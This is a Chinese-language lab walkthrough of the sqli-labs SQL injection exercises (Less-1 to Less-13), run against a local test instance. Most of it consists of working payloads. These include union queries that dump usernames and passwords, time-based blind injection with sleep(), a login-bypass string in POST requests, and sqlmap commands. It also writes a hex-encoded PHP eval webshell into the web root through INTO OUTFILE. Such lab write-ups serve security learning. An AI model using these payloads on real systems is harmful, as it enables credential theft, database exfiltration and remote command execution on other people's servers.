Payload:
数字型注入没有变化
--起着注释的作用,将后面的语句注释掉,+ 则代表空格
http://127.0.0.1/sqli-labs-master/Less-1/?id= 1' and 1= 1--+ 正常
http://127.0.0.1/sqli-labs-master/Less-1/?id= 1' and 1= 2--+ 报错
故id参数存在字符型注入点
判断字段数
http://127.0.0.1/sqli-labs-master/Less-1/
?id= 1' order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-1/
?id= 1' order by 4 --+
Unknown column '4' in 'order clause'
故得知一共有3个字段
联合注入查询
http://127.0.0.1/sqli-labs-master/Less-1/
?id= -1' union select 1,2,3--+
得知数据库名字为security ->查表
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/
?id= -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
emails,referers,uagents,users
查表字段
http://127.0.0.1/sqli-labs-master/Less-1/
?id= -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
http://127.0.0.1/sqli-labs-master/Less-1/
?id= -1' union select 1,2,group_concat(username,0x2b,password) from users --+
0x2b是+的十六进制->便于区分账户和密码
less2 是类似数字型
Less-3
Payload:
http://127.0.0.1/sqli-labs-master/Less-1/?id= 1 and 1= 1--+ 正常
http://127.0.0.1/sqli-labs-master/Less-1/?id= 1 and 1= 2--+ 正常
查看拼接后的sql语句如下:
SELECT * FROM users WHERE id=('1 and 1=2') LIMIT 0,1
原来是需要括号闭合
http://localhost/sqli-labs-master/Less-3/?id=1') and 1=1 --+ 正常
http://localhost/sqli-labs-master/Less-3/?id=1') and 1=2 --+ 报错
Less-4
源码:
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
这次是双引号括号闭合
http://localhost/sqli-labs-master/Less-4/?id=1") and 1=1 --+ 正常
http://localhost/sqli-labs-master/Less-4/?id=1") and 1=2 --+ 报错
Less-5
因为无回显 所以不能使用联合注入
这里使用时间盲注:
用到延时函数sleep() if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
首先判断是否需要闭合
http://localhost/sqli-labs-master/Less-5/?id=1 and if(1=2,1,sleep(5)) --+ 没延时
http://localhost/sqli-labs-master/Less-5/?id=1' and if(1=2,1,sleep(5)) --+ 延时
判断数据库
http://localhost/sqli-labs-master/Less-5/
?id=1' and if(length((select database()))>7,sleep(5),1) --+ 产生延时
http://localhost/sqli-labs-master/Less-5/
?id=1' and if(length((select database()))>8,sleep(5),1) --+ 不产生延时
之后可利用burp等工具爆破:
?id=1' and if(substr(database(),1,1)='s',sleep(5),0) --+
less-6 是类似 闭合双引号
Less-7
不能使用报错注入,只能使用布尔盲注和时间盲注
闭合方式(('$id'))
http://localhost/sqli-labs-master/Less-7/?id=1')) and if(1=2,1,sleep(5)) --+
利用into outfile导出数据到文件
使用 outfile 导出到文件,默认 outfile 是没有开启的,需要手动开启
mysql>show global variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value |
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | NULL |
+--------------------------+-------+
-
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出; 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下; 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
同时secure_file_priv是也用来限制load 、dumpfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。
打开my.cnf 或 my.ini,写入 secure_file_priv = ’ ’ 后重启mysql。
http://localhost/sqli-labs-master/Less-7/?id=1')) union select * from security.users INTO OUTFILE "C:/Users/Administrator/Desktop/users.txt"--+
即可导出到桌面
拓展:写入webshell
http://localhost/sqli-labs-master/Less-7/
?id=1')) union select 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d29203f3e,3 INTO OUTFILE "C:/phpstudy_pro/WWW/shell.php"--+
建议进行十六进制转码

Less-11
POST型注入
如果是输入框用# 来注释
这里使用burp
万能密码
POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/sqli-labs-master/Less-11/
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Connection: close
Upgrade-Insecure-Requests: 1
uname=admin'--+ &passwd=1&submit=Submit`
uname=admin'order by 3 --+ &passwd=1&submit=Submit
Unknown column '3' in 'order clause' 得知有2列
payload:
查数据库
uname=xxx'union select 1,database()--+ &passwd=1&submit=Submit
查表
uname=xxx'union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"--+ &passwd=1&submit=Submit
查字段
uname=xxx'union select 1,group_concat(column_name) from information_schema.columns where table_name="users"--+ &passwd=1&submit=Submit
查数据
uname=xxx'union select 1,group_concat(username,0x2b,password) from users--+ &passwd=1&submit=Submit
sqlmap
保存数据包为text.txt
使用命令sqlmap.py -r text.txt 来进行注入检测
或者使用 --data 来定义payload
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --data "uname=1&passwd=1&submit=Submit" --current-db
Less-12
查看源码发现使用了正确的闭合才会报错
输入框:
uname=admin") #
burp:
uname=admin") --+ &passwd=1&submit=Submit
Less-13
先找到闭合方式
admin') and if(1=2,1,sleep(5)) # 延时
admin') and if(length((select database()))>7,sleep(5),1) #
浙公网安备 33010602011771号